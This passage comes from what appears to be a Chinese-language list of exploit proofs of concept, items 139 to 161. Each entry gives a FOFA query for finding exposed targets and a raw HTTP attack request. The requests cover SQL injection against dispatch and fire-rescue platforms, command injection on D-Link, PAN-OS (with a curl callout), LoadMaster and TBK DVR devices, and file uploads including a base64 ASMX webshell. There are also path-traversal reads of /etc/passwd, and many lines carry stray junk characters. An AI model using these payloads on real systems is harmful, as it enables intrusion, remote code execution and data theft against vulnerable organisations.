CVE-2024-2621
; t, |1 K/ ?- KFOFA:body="app/structure/departments.php" || app="指挥调度管理平台"/ _: k& G" O! D+ E. G- ?
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1" ], k7 K" f' v1 b7 A* b. w
Host: x.x.x.x& k4 ?4 r, h/ P) |4 o7 Q  K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. M# @9 a0 @/ w  xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.80 C7 W, h# V& L8 D
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2- B7 [" B# o  O9 \
Accept-Encoding: gzip, deflate, br5 ~- Q4 c& @( O0 L* r% ]- |
Connection: close
% Q0 ]1 ?/ T: {+ w6 w) M$ _Upgrade-Insecure-Requests: 1
! O4 S8 ^0 t+ C! h& }$ C& W/ c8 l9 i# q6 {6 q) j
" E% M6 I4 L# J$ C
139. 福建科立讯通信指挥调度平台editemedia.php sql注入% b% \) z* s% \# x2 o
CVE-2024-2622
; B$ R% n8 s. C6 h: YFOFA:body="app/structure/departments.php" || app="指挥调度管理平台"
3 M) d. K% j1 m! n* b! rGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1" h5 N0 C1 w6 g5 v2 x0 b
Host: x.x.x.x
. d8 }; j1 M9 z. U1 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.01 ?3 q) y6 [7 \, W
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 F1 w) D! [# M" cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 C5 a* K, |/ N# X* aAccept-Encoding: gzip, deflate, br) T1 a. u$ @& w" Z4 t- l! h
Connection: close8 q1 z1 |% q8 U: \
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk6 u  }4 @+ p- X
Upgrade-Insecure-Requests: 1: T$ @) z4 l6 q4 A7 f+ N" c0 h
; U$ u# r. s1 B" f; @

1 \) A; m2 r8 M. h) Z# O- _& i; _140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入. X1 H- |3 m: Q& }  P3 ?& x! S  Y
CVE-2024-2566
% @# m. b! Q& C; A* p4 c2 zFOFA:body="app/structure/departments.php" || app="指挥调度管理平台"
4 w% v9 h2 A! C, ^( {" tGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.14 M6 h5 H! g1 r9 `# B3 ^
Host: x.x.x.x
# n2 [% ^. ~$ i9 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0, Y# E# C7 @; t' b
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8; O, A; w' c# z* F0 |
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2& y' f1 Z, u7 q  U9 b$ l
Accept-Encoding: gzip, deflate, br7 |- g9 J& \7 n; u, V$ I( l
Connection: close, Y: F8 [* z; H, ?
Cookie: authcode=h8g9) E9 e0 O% C& C* X' w$ Y
Upgrade-Insecure-Requests: 1
+ s9 ?2 h* Q) s7 u; i, J, O: X* g
# O' ~8 X, B# g) M, J8 N8 B- {1 h7 Q7 o
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
/ i) e; l; j, h& e3 e4 m9 hFOFA:body="指挥调度管理平台"# u' T. W& R* T& p: }! Y4 _  A( i
POST /app/ext/ajax_users.php HTTP/1.1' @1 @) \# a% ~$ A" D
Host: your-ip
8 ]6 P2 ~+ K/ U  d- @, Y# QUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
+ N- c1 f4 |5 @Content-Type: application/x-www-form-urlencoded
0 Q0 ~, K9 U& j# d1 W: H) l! B7 G, t+ x' M7 Y9 z6 I+ D) `
* r3 T4 V; l/ b2 u
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -$ K- b7 Q* K. e0 {' U" o

/ d+ W) u. Z9 q6 }: b( a1 O; u# {1 Q; A) }; ~" w: B
142. CMSV6车辆监控平台系统中存在弱密码) J; l% `3 u; H3 p( c; C
CVE-2024-29666
% W1 [, G: H" ^. ^FOFA:body="/808gps/"4 t, O$ b  f3 q4 C6 g) h" }7 B
admin/admin' [( N6 M4 S$ ^" ?" k
143. Netis WF2780 v2.1.40144 远程命令执行
) Y4 z5 y3 y! M1 |  K/ ~CVE-2024-25850+ d) F) a) R* ~1 ?/ v7 z
FOFA:title='AP setup' && header='netis'; }' S5 \/ y8 I9 e! c1 Y
PAYLOAD  g+ R" a2 m4 Q5 c7 U
. \  F3 K4 O/ O8 o' j5 p; S5 `
144. D-Link nas_sharing.cgi 命令注入* A+ n$ c; X. l1 _
FOFA:app="D_Link-DNS-ShareCenter"' @/ c$ q% v4 Z9 k
system参数用于传要执行的命令4 O1 d* n4 H0 H9 @# {2 F8 T! V
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
: {9 j) M7 }- A/ g- K, u1 J: B1 I3 BHost: x.x.x.x9 S& f" u5 R! l& A" K
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
3 r) q$ R& m1 @7 D: |: vConnection: close+ j/ A# u% {! J# r9 B
Accept: */*
& {# B+ W4 i% |, L6 \Accept-Language: en- c! b- L7 H( C! X- u) X3 Y3 M
Accept-Encoding: gzip) V3 U/ T5 k, Y& q: z" g

* W( e/ D5 ?" t1 B3 o9 C: m; a
) {5 x. W9 O( D9 N145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
1 `! l0 q, U: F+ j- H5 U3 ^& wCVE-2024-34006 ^5 K; c9 ?* ]# F5 ^
FOFA:icon_hash="-631559155"
: c6 x) r  w8 ZGET /global-protect/login.esp HTTP/1.1
4 w+ o5 j8 Y: w$ ?8 UHost: 192.168.30.112:1005
/ A- U2 x6 s. S, QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
; ~4 G* w; ]; QConnection: close; q9 x/ c- f( [( R5 l3 t  n& h9 i9 D
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
5 F' r; p2 U% T6 K$ N* cAccept-Encoding: gzip
" _- M8 p% R: T8 Y' n1 B, I2 U! {) h3 x- R, x: B" `

; P% w# {7 M, Z: s146. MajorDoMo thumb.php 未授权远程代码执行1 R- w- }/ s' |: T5 I
CNVD-2024-02175
! _5 b8 V' b# N: _FOFA:app="MajordomoSL"( X+ o. s( ]9 f
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
; y$ c8 B: C4 m. v" S2 FHost: x.x.x.x
. w! e$ j# |# y  oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84' h) N8 V" R0 t' W+ _: `6 C
Accept-Charset: utf-8+ ]& E3 U3 B. `- L
Accept-Encoding: gzip, deflate
- N5 t& r; y9 lConnection: close
7 v5 x/ a& u, p8 a6 I6 W. \6 b8 s9 R; t8 ~8 L
& j: c0 k7 k9 n# A) d; {
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
  Y: X  `# G4 `. \. `1 _CVE-2024-32399
3 J& o1 l, y7 b4 u' p6 ]/ j" ZFOFA:body="RaidenMAILD"
; F% Q+ _6 ?: E1 z0 QGET /webeditor/../../../windows/win.ini HTTP/1.1" V( J) ~8 t$ |
Host: 127.0.0.1:81
9 m8 |, A& e% b/ E* q$ S$ W) d) WCache-Control: max-age=0
0 ?. y7 g' s) \* w8 b, x2 FConnection: close+ R6 F# P3 N# b( f; z8 E, t
6 v# Q* I, \, v
& I# j; _% R( \
148. CrushFTP 认证绕过模板注入9 B8 F9 m9 @3 X8 a! V3 G( l
CVE-2024-4040
( R; b: O; @+ w: j% g2 rFOFA:body="CrushFTP"/ q+ s9 ?; b1 b& `* S" h! @3 S! e
PAYLOAD( c3 l0 R1 g( H& R% r! \
% S# W5 I/ q+ ^
149. AJ-Report开源数据大屏存在远程命令执行
4 m( `% a4 i) kFOFA:title="AJ-Report"3 t8 c: g8 X/ k. v
2 K3 c6 ?* _: ^" w( p5 T
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1* G3 @7 s3 t5 t2 V, p
Host: x.x.x.x
. S9 i- N8 S. j, B1 C8 l& }& XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36- q1 |" u( |# y4 i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 b1 X9 W% J. tAccept-Encoding: gzip, deflate, br: s* n8 C2 J! d8 x) e; K
Accept-Language: zh-CN,zh;q=0.9! p, U- L& l* H1 X, ~0 b  u% O
Content-Type: application/json;charset=UTF-89 R; L& r, Y; S( h+ u
Connection: close
8 \0 ?) n5 {3 \, G4 G" a2 ?3 X& c- ?9 q+ S, W; L: ]
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
9 Z* H. I9 \4 ?2 |7 f( D
& G5 s6 x. e. a- ^150. AJ-Report 1.4.0 认证绕过与远程代码执行% s" H8 y1 [2 V. D
FOFA:title="AJ-Report"  n% T2 ?$ s& P
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
9 z2 m" f" C: r+ THost: x.x.x.x4 l7 O$ _) T4 i' W- ]0 X/ o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 K/ F- A' X, o: l% y& o* v5 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) ~; l! J1 X* Y4 z5 P/ ^Accept-Encoding: gzip, deflate, br7 L0 l) G) D2 i, M; |
Accept-Language: zh-CN,zh;q=0.90 g! s0 y0 k) z
Content-Type: application/json;charset=UTF-8* b0 n! U$ I( R2 u! ~
Connection: close, E- l0 q# l7 g+ y
Content-Length: 3392 Q# p' m5 J# o6 O

  b. `( G  h2 f+ `5 O{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
' p4 v: ]& N; [/ p7 u$ d" x0 }6 I' s7 J1 X( n: @

! W% G) R! q. K  o) `" Q* M& e0 V151. AJ-Report 1.4.1 pageList sql注入4 H+ l: U& j6 x6 `# s
FOFA:title="AJ-Report"
: P2 P6 n9 o% ?& mGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
, r/ ?: a7 b5 p7 BHost: x.x.x.x0 ~. j5 T8 k7 V' U. V+ u
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 A3 L: F3 ^( t) e+ L  wConnection: close4 D" x# p$ s) M% X) O: f
Accept-Encoding: gzip2 C9 W# k! x  E$ z7 |; A% C2 k

6 K% q4 q& E% D! X: a$ ^( V8 k
6 h: B. G6 f' C9 {: Q152. Progress Kemp LoadMaster 远程命令执行; |9 ]- [, E6 I! D5 c  Q$ ~/ S
CVE-2024-1212
% l4 X% j3 n2 y! I* ~8 a4 ]LoadMaster <= 7.2.59.2 (GA)- f7 g! O9 I+ o2 i* C$ B" Z* F
LoadMaster<=7.2.54.8 (LTSF)
3 n( H% r' u, X8 k9 `2 m. GLoadMaster <= 7.2.48.10 (LTS)& T5 t/ x; X  g3 L% F
FOFA:body="LoadMaster"* F2 Z. J0 o, f) l8 H
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码+ W/ ~7 p9 Z! s0 X* h$ r) k
GET /access/set?param=enableapi&value=1 HTTP/1.1! G; [# d- g  H1 S! o, E' A- Q: r2 K5 t
Host: x.x.x.x
7 q' ~' T% D; O* ]2 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
# [( D$ R8 a2 I2 j0 c' ?3 _: XConnection: close
, l/ [. I9 T: uAccept: */*$ k* l3 T1 N+ v1 K1 E3 p
Accept-Language: en
4 ^  r% W2 D( V  U+ DAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
" P6 u  ~# E3 n3 P% y. {Accept-Encoding: gzip8 }  y9 T- Z  }( B' X1 x
9 |( l- l. I6 u5 m( K, P

9 ]3 O! C: A) `7 X7 m" i) k0 k153. gradio任意文件读取' L9 U% W" @9 D2 W1 t
CVE-2024-1561FOFA:body="__gradio_mode__"  n" M" s1 c9 A/ h
第一步,请求/config文件获取componets的id, T' m8 G( |" _- v& ^
http://x.x.x.x/config+ y- o" {& E; _: T

( A4 f) v& Q+ _$ A# s
' |2 ?2 |( ^7 n$ F) Q6 j第二步,将/etc/passwd的内容写入到一个临时文件9 u' B1 T; j7 n
POST /component_server HTTP/1.1/ t  r* M4 f1 l, R( p9 |0 s5 [- c
Host: x.x.x.x
* d( n3 m+ j+ m7 D! e6 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3. e9 H3 w2 I6 n# {! e
Connection: close
: J4 P" n; |0 t$ v8 J1 O5 G! i8 G( E  OContent-Length: 115
& T8 Z# ]4 z9 UContent-Type: application/json1 v8 h8 ]$ A# @& i: S' _
Accept-Encoding: gzip
* B, Q/ a  t/ S/ f) B
  _  S" o$ L4 o9 E9 t{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
0 q1 b: j% }% z. T; O  v2 P: ?3 h7 E" D; f1 @' T' }
5 ?. i: `* {9 O' |. J2 V. b
第三步访问6 {0 L% b. j- f+ c  J* R
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd2 h% G3 Z( G7 Y, s, A' B
" w7 o  z# A2 n0 Z) n
' S$ S' @5 ^( w. U- w
154. 天维尔消防救援作战调度平台 SQL注入3 L( C, o; h6 a8 k3 x
CVE-2024-3720FOFA:body="天维尔信息科技股份有限公司" && title=="登入"9 u' {( [# }" Q" ?4 V" }) t. R
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
7 y4 `# r5 e/ e4 ZHost: x.x.x.x
) k9 B  a4 B' ^3 y9 D2 N8 y. z5 R5 xContent-Length: 1062 }3 p5 `' k$ ?1 Z( [; E
Cache-Control: max-age=0
. b8 ]; j% N% {2 j( pUpgrade-Insecure-Requests: 1
4 i/ E9 d- g7 \1 Y2 q# dOrigin: http://x.x.x.x( |3 p; Q! M3 D) [+ y" v  G- y2 E
Content-Type: application/json
% ], T9 V+ U* z* g+ T, f1 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36$ x! C: J. W( m. ?- F% g+ K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.72 K" g) n6 Q1 L6 b8 M- ^0 u* M
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
; M7 J+ u2 ]# k9 T) v+ lAccept-Encoding: gzip, deflate
% c: V$ `, m0 s. UAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
5 z% w' I% |# _6 @. TConnection: close
7 _* s7 k$ Y) y6 P2 v
5 }2 [7 d4 T! q{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
, V& d+ P( D# X5 Z3 f" S. E$ S  u: s# |+ O
. \% w2 P  c) Q' y
155. 六零导航页 file.php 任意文件上传
' E% ]$ I# m1 f$ Z, E7 _CVE-2024-34982
4 [. f& L6 v7 Q9 j1 kFOFA:title=="上网导航 - LyLme Spage"3 t3 u6 m* a$ T2 k. _1 Q! p& Y9 ~
POST /include/file.php HTTP/1.1
( M' j, P% j/ e* [$ S$ f# gHost: x.x.x.x* O: E; M" m6 z/ f* M  d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
+ K1 n+ o; W, E7 \Connection: close8 W, Q: L2 M0 C: \
Content-Length: 232. a, j- p* N2 d: Y
Accept: application/json, text/javascript, */*; q=0.01
1 h; \* B3 k: ?' j$ M+ xAccept-Encoding: gzip, deflate, br7 F$ D- c8 Z# ?) s" e% y6 Y0 a
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2/ I" }. M2 Q% V  I* X! b' k3 u# l
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f9 N  C3 f$ n) K! S) a
X-Requested-With: XMLHttpRequest
* H" }$ O( s1 a7 j- Y$ R1 M3 I8 a- b, d, q0 U& i
-----------------------------qttl7vemrsold314zg0f( q; u) e& Q1 m# @. z6 E
Content-Disposition: form-data; name="file"; filename="test.php"
# v* y: H. }$ zContent-Type: image/png! [7 }% h+ n! E6 s! @! |

/ {1 @  j& C* ?/ ]<?php phpinfo();unlink(__FILE__);?>/ V, g+ ^# ^0 B$ v  [! c. C
-----------------------------qttl7vemrsold314zg0f--
! s& r8 l) z. a2 S5 Z0 Y, N6 D2 W9 I; i2 N) X) U8 O, ~& W
, l: I2 b) J% o! A
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
& n1 a. [% `8 V; ]
/ B: H: X; Q$ g0 E# J- }156. TBK DVR-4104/DVR-4216 操作系统命令注入" }# y: S* J8 i
CVE-2024-3721. L, f6 L" h6 v6 h6 v. @
FOFA:"Location: /login.rsp"; r6 P; H1 S: n, C2 b& i  Y
·TBK DVR-41048 e5 d: y. N) @) h$ }4 u! N
·TBK DVR-4216( h6 k4 ~6 x1 p8 T' g& Y6 Y6 d3 H
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
  u' S4 a1 y0 f9 z8 J9 m
  o. h" f6 E& q. w. l! S- d: i; F+ q- }* v& x3 Z# e. i: I/ ^; t# P
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- o6 n* `" b/ z% yHost: x.x.x.x; B/ K4 U6 Z+ c/ V% l* E, [
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15$ Z/ o% S: U8 p- `' M4 ]
Connection: close
: n+ z- X% ?# U5 @: Y: ZContent-Length: 0
" ]1 b/ x; U" f: h/ yCookie: uid=1
- m( b! h2 ^& Z) MAccept-Encoding: gzip
  Z6 ]/ X( Q9 X7 s- h# i* r! X2 R( |( L4 P

/ l2 A4 L+ X2 J5 c" i: s157. 美特CRM upload.jsp 任意文件上传7 p( ]' r+ F' G: Z. z4 u
CNVD-2023-06971
& R. N  ?6 c* d7 OFOFA:body="/common/scripts/basic.js"/ c) ^& i5 q( f
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
% g# H# l8 \5 V' o& UHost: x.x.x.x, I9 X; J: Z7 `' Y+ _$ q# x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36& ^$ R6 k! U+ c& c( E; Y9 Z
Content-Length: 709  B  z0 x& \' k% w
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7/ B6 R5 @) U4 Q5 ?8 `! |0 U
Accept-Encoding: gzip, deflate1 Y; k: I' K7 J1 e  u
Accept-Language: zh-CN,zh;q=0.9- D8 ]1 |" j: s4 I* n! S& F0 m
Cache-Control: max-age=0
4 X" X0 P5 j; _! @* }Connection: close
& w( s0 X8 e4 o1 f( ~' }  SContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
, `) g7 C$ x' a' bUpgrade-Insecure-Requests: 1; f9 b' ]4 O9 m. j
) y1 d6 E; N' z) H. F9 Z+ x- b
------WebKitFormBoundary1imovELzPsfzp5dN
. l* d5 x8 k, P+ mContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
) @  L$ k9 o. e2 tContent-Type: application/octet-stream
, Z! d5 G$ B" [+ X
0 E# O* n% B5 r% W5 E" [nyhelxrutzwhrsvsrafb' L$ X6 u$ v4 i4 j: M7 {
------WebKitFormBoundary1imovELzPsfzp5dN* Z: G5 @% X) X4 o: r. R
Content-Disposition: form-data; name="key"
; k$ b  q# R6 I: p
! O# C9 J  n6 K7 j* j! F; a; M0 wnull
) V, [0 k, \3 x! K: d* i8 n/ q4 _. I' Z------WebKitFormBoundary1imovELzPsfzp5dN9 S1 B2 A7 O0 ~8 ?4 t6 n8 g- f4 q, z
Content-Disposition: form-data; name="form"
; x2 f+ e9 g- ~. B
( [% C+ w2 x" u( K5 y' O) `null+ A5 @' E- m9 W, @1 h8 A& p
------WebKitFormBoundary1imovELzPsfzp5dN5 A: P, s: K3 L- ]
Content-Disposition: form-data; name="field"+ T8 ~' _& J/ r# {
7 h1 ]7 ?1 t/ C; q) h
null
* ^- t* v1 \% T! P------WebKitFormBoundary1imovELzPsfzp5dN
, w2 w# C! L7 I8 ]  v3 P, t; BContent-Disposition: form-data; name="filetitile"1 `) ~7 A! B/ w2 c3 _
# z9 X0 P5 f; y4 a
null
4 e% p) K9 m3 `4 B( a------WebKitFormBoundary1imovELzPsfzp5dN& V9 [6 B2 k, `, O6 C7 _: a* v
Content-Disposition: form-data; name="filefolder"
) U- [1 K8 X; e# ~. [8 X- Z/ ^- F' n
null# v' o8 y$ L6 U0 D
------WebKitFormBoundary1imovELzPsfzp5dN--
* {+ x& @, X% M) Y4 K. {" I5 \! |# U8 O. @& ~

7 T- E/ K8 g1 f9 i& nhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
: |. f& T/ Z5 h; V5 a% A/ L( B7 x) C9 i" ?$ t- |
158. Mura-CMS-processAsyncObject存在SQL注入
6 Q9 |$ f' A1 l0 L+ ZCVE-2024-326404 W; V' w6 H# @+ ]. B. Q1 F
FOFA:"Generator: Masa CMS"
5 d2 F: `1 l0 aPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
3 T& D$ S/ t  X: Z# [; Q: v3 V0 WHost: {{Hostname}}
- E& ^+ `/ Y0 K% J9 PContent-Type: application/x-www-form-urlencoded" t% p! H) \, S5 @3 f' i

! a8 K9 [$ s" H9 G' Sobject=displayregion&contenthistid=x\'&previewid=18 i. c8 D; I) v) }: j/ L

3 _0 H1 O; B8 ~6 s# n8 b$ C# Q0 r( I0 e! }. E& X' K2 ?
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传) j* p2 d* I$ I2 d; U: o/ P/ w# {
FOFA:"INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")- Q+ j- u1 [9 r4 l  |1 G; X, ~% Z
POST /webservices/WebJobUpload.asmx HTTP/1.1. q: V; O( J2 g* i( t+ z+ s
Host: x.x.x.x
, e' B4 p, e% f* w0 M' }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36& F/ u. B7 h: U! i
Content-Length: 10802 V- D0 E; x5 a3 R  u
Accept-Encoding: gzip, deflate
) r- a) g. t5 p# g; E% gConnection: close! {. c1 X1 M3 p* f6 k$ r
Content-Type: text/xml; charset=utf-8
1 i6 M# m4 T4 @* q6 U7 c5 {Soapaction: "http://rainier/jobUpload"
, |* p5 d0 I: ^  _
8 [" W0 i  _! I6 i<?xml version="1.0" encoding="utf-8"?>
# @( Q! L* }2 B9 @( R* j<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">- i# x' \! z$ ?7 v1 c
<soap:Body>
( ?9 [! i7 }& F" ?1 ~<jobUpload xmlns="http://rainier">
# @9 ~) f0 @  O- L0 ?<vcode>1</vcode>
  d2 F4 b. Q3 _" f5 e0 \/ \<subFolder></subFolder>8 b- ~6 y; T8 e
<fileName>abcrce.asmx</fileName>
* e+ }+ Q2 l' U4 Z- B<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
: h" g) x; K" H, X7 P</jobUpload>/ h$ L8 h1 S9 I' i* \7 f
</soap:Body>+ S  Y2 T/ W; B- K5 e$ b
</soap:Envelope>4 i! u# T7 Q; H) Z9 R& K

1 \6 P0 V- I' I! |+ z
" q0 B- g7 T$ [/ t! K/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")2 l# t, i5 Y9 }" j, |) z
6 q0 D& L- `$ |6 V# _: Z
; z( s5 n  |; R- N" a* C( E
160. Sonatype Nexus Repository 3目录遍历与文件读取
! _; `! G9 n' k0 l) E( ?CVE-2024-4956
2 U: c% a' I" C. W8 G1 k7 dFOFA:title="Nexus Repository Manager"7 N4 v; @0 K7 P
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
$ F  }0 L7 ^* x, hHost: x.x.x.x
  z" t5 d" Q% X5 z- O7 RUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0: _3 j9 ?6 D/ _
Connection: close
& R) L' [: p, ^: {- WAccept: */*
+ c+ h% _% U9 j7 y% ?Accept-Language: en
6 Y) O6 }  V2 Z4 B3 }/ |3 NAccept-Encoding: gzip
# x" I! O2 n) |8 F7 j* Y7 V  L4 T4 ?8 c4 t" o% i6 H* D

6 x( t9 i) d; b9 N/ l161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
